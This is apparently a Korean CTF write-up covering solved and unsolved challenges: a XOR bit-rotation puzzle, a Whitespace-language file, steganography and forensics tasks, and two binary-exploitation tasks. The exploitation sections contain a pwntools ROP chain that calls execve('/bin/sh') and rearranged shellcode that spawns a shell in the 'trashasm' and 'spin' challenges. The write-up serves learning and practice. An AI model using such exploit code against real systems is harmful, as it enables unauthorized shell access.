12등 했습니다. 거의다 풀었는데 사소한걸 놓쳐서 몇문제 못푼게 아쉬웠어요.
점수 높은데 쉬운문제를 처음으로 발굴해 풀었더니 점수가 반토막이 났네요 zz (flag keeping dml wnddytjd)
대회때 못푼문제/푼문제 로 나눠 포스팅 하겠습니다
푼문제
blank
주어진 텍스트파일에서 수상한 공백을 발견했다. Whitespace 언어같아서 온라인 인터프리터로 실행해봤다.
사이트가 나온다. 디렉터리리스팅이 가능해서 / 으로 이동하면 다른 파일도 확인할 수 있는데,
그 파일도 whitespace 언어로 작성되어있으므로 인터프리터 돌리면 flag 나온다.
비트에 몸을 맡겨라!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
for(i = 0; i < 10; i++) {
fgets(p_text, 50, fp);
strcpy(temp, p_text);
random = 3 + rand() % 20;
for(j = 0; j < strlen(p_text); j++) {
for (k = 0; k < random + j; k++) {
p_text[j] ^= p_text[j] >> 1;
}
}
printf("Stage %d : %s\n", i, p_text);
printf("Answer : ");
fgets(input, 50, stdin);
if (!strncmp(input, temp, 14))
printf("Great!!\n\n\n");
else {
puts("oh...... wrong answer");
break;
}
memset(p_text, 0, 100);
memset(temp, 0, 50);
}
if (i == 10) {
puts("Congratulations!");
printf("%s", fgets(temp, 50, flag));
}
|
비트연산해서, plain 텍스트들을 출력해주고, 10번 맞추면 flag 를 준다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
>>> b=b"thisisone"
>>> for i in range(23):
temp=[]
for j in range(len(b)):
temp.append(b[j])
for k in range(i+j):
temp[j]^=temp[j]>>1
temp[j]=chr(temp[j])
print(''.join(temp))
t\sXoNsKe <<
NrJtXiJnW
iKoNt]oY|
]nXiNsXuB
sYt]iJtOc
JuNs]oNhR
oOiJsXi\{
Xh]oJt]rF
t\sXoNsKe <<
NrJtXiJnW
|
cs |
예시로 암호화 해보면, 8을 주기로 같은문자가 반복된다 !
저 각각의 문자열을 다시 암호화하면 원래 문자가 나온다??
어떤 문자열에서는 답이 나오더라!
그래서 request 를 보내 돌려서 원래 값이 나오는 문자열을 찾아 답을 전송한다.
너무 노가다를한 것같다.
정석
일단 테이블을 만든다. 암호화된 값으로 돌리기 바로 전 값을 리턴하는 테이블이다.
문자열 끝으로 갈수록 돌리는 수가 1씩 증가하는 것을 유의해야한다.
돌리는 횟수는 3+ rand (0~20) 인데, 8을 주기로 같은값이 나오니
3~10 만큼 역으로 돌리면 된다.
table 에서 거슬러 올라가면 8개중에 나온다.
pwntools + input() 함수 사용해서 8개중에 골라서 전송하면 풀리게된다.
하..
어셈.. 이렇게 하는거 맞죠?
_start 함수밖에 없다. 0x100만큼 입력받는다. 이외의 가젯은 없다.
execve('/bin/sh',0,0) 을 호출해야한다. (eax = 11, ebx = "/bin/sh", ecx = 0, edx = 0)
1. pop eax 부분으로 리턴해 eax 를 0으로 만들면, ecx, edx 는 0이 된다.
pop ebx 에서 "/bin/sh" 문자열을 넣어준다 (주어져있다)
2. eax 는 0xffffffff 으로 조작된 상태 이므로, add eax, 1 으로 12 번 리턴해야한다.
밑에 pop ebx, ebp 도 딸려있으니까, 12*12 = 144, 위 페이로드를 합쳐도 0x100 (256) 을 넘지 않으니 합격
3. int 80 으로 리턴
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
#r=remote("server1.trustctf.xyz",1124)
r=process("./trashasm")
binsh=0x804a03a #/bin/sh
pay=b'x'*8
pay+=p32(0x8049031) #pop eax
pay+=p32(0) #eax
pay+=p32(binsh) #ebx
pay+=p32(0xffffcb90) #ebp (그냥 막쓴거)
pay+=(p32(0x08049039)+p32(binsh)+p32(0xffffcb90))*12
#add eax,1 ;pop ebx ; pop ebp pay+=p32(0x804902e) #push eax; int 0x80
pause()
r.sendline(pay)
r.interactive()
|
cs |
TRUST's math class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from pwn import *
from sympy import *
r=remote("n1net4il.xyz",31339)
context.log_level='debug'
r.recvuntil('=====\n')
for i in range(50):
data=r.recvline().strip()
data2=r.recvline().strip()
x=Symbol('x')
y=Symbol('y')
a=data[:data.index(b'x')]
b=data[data.index(b'x')+1:data.index(b'y')]
c=data[data.index(b'y')+1:data.index(b'=')]
a1=data2[:data2.index(b'x')]
b1=data2[data2.index(b'x')+1:data2.index(b'y')]
c1=data2[data2.index(b'y')+1:data2.index(b'=')]
eq1=a*x+b*y+c
eq2=a1*x+b1*y+c1
print(eq1)
print(eq2)
res=solve((eq1,eq2),dict=True)
print(res)
r.sendlineafter("x:",str(res[0][x]))
r.sendlineafter("y:",str(res[0][y]))
r.interactive()
|
cs |
sympy 로 연립방정식 50번 풀면 된다.
못 푼 문제
Listen PLZ!!
여러 파일이 있는데 pptx 파일이 핵심이다. base64 디코딩에 관한 설명이 있는 19페이지 ppt 이다.
readme에는 TRUST{decrypted sentence} 라고 되어있다.
binwalk -e 로 추출해보니 숨겨진 4 슬라이드가 있었다. (이걸 못봐서 못풀었따!)
제일 작은 23페이지를 열어보니 base64 디코딩된 flag 가 나왔따.
Where am I?
exe파일 하나를 준다.
누가봐도 pe파일인데, 헤더가 FLAG 로 되어있어서 수정해줬다.
비번 입력받고 맞으면 저렇게 출력해준다. 비번은 trust 로 알려주는데, 내부에서 해시를 통해 비교한다.
난이도 낮추려고 알려주신 것같다.
이렇게 해시로 비교한다.
진행하다보면, Temp 에 디렉터리를 생성하고, ....... bat 파일이 있다.
파일 내용은 밑에 배치스크립트 이다. 아까 출력된게 스크립트 파일로 출력한 것같다.
파일내용이 저게 단줄 알았는데, 엔터여러개 삽입해서 flag 를 넣어놨다..
Secret Website
파일 하나 준다. 스캔하면 fake 뜬다.
수상해보이는 비트들이 있다. 여기까지밖에 못했는데 끝나고 보니 Stegsolve 이용해서 추출하면 된다고 했다.
( stegsolve 사용해볼려 했는데 .jar 파일에 거부감이 들어 실행해볼 생각을 못했다! )
Analyze -> data extract 에서 0비트에 체크한 뒤, LSB 로 추출한다 !
희미해보이는 QRcode 를 읽어보자.
단골사이트에서 선명하게 볼 수 있다. 나온 웹사이트에서 TXT 레코드 확인하면 된다~
ultimate hacking defense
powershell 히스토리랑, webcache 확인하면 된다고 한다
spin
쉘코드를 입력하면 스파게티알고리즘? 그런걸로 돌린다음 호출한다.
ascii 코드 32~126 에 해당하는 값들을 넣고, 돌린 다음 상태를 확인했다.
여기서 32씩 빼면 index 를 알 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
>>> d="0x20 0x3b 0x3a 0x39 0x38 0x37 0x36 0x35 0x21 0x3c 0x4f 0x4e 0x4d 0x4c 0x4b 0x34 0x22 0x3d 0x50 0x5b 0x5a 0x59 0x4a 0x33 0x23 0x3e 0x51 0x5c 0x5f 0x58 0x49 0x32 0x24 0x3f 0x52 0x5d 0x5e 0x57 0x48 0x31".split()
>>> d
['0x20', '0x3b', '0x3a', '0x39', '0x38', '0x37', '0x36', '0x35', '0x21', '0x3c', '0x4f', '0x4e', '0x4d', '0x4c', '0x4b', '0x34', '0x22', '0x3d', '0x50', '0x5b', '0x5a', '0x59', '0x4a', '0x33', '0x23', '0x3e', '0x51', '0x5c', '0x5f', '0x58', '0x49', '0x32', '0x24', '0x3f', '0x52', '0x5d', '0x5e', '0x57', '0x48', '0x31']
>>> d=[int(x,16) for x in d]
>>> d
[32, 59, 58, 57, 56, 55, 54, 53, 33, 60, 79, 78, 77, 76, 75, 52, 34, 61, 80, 91, 90, 89, 74, 51, 35, 62, 81, 92, 95, 88, 73, 50, 36, 63, 82, 93, 94, 87, 72, 49]
>>> d=[x-32 for x in d]
>>> sc=[b'\x00']*64
>>> for i in range(len(shellcode)):
sc[d[i]]=bytes([shellcode[i]])
>>> print(b''.join(sc))
b'1/j\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00_nib/\xbbH\xf6/;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05TSVhsX\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xd21\x00\x00\x00\x00'
|
cs |
쉘코드 생성 완료! pwntools 로 전송하면 끗
from pwn import *
r=process("./spin")
shell=b'1\xd0T;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0S\x91\x96\x9d\xd1\xbbH\xc0\x8c_\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00^\xdb\xf7H\xff\x97\x99\x05\x00\x00\x00\x00\x00\x00\x00TWR\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
r.sendline(shell)
r.interactive()
(위에 쉘코드랑 다른 쉘코드를 썼다.)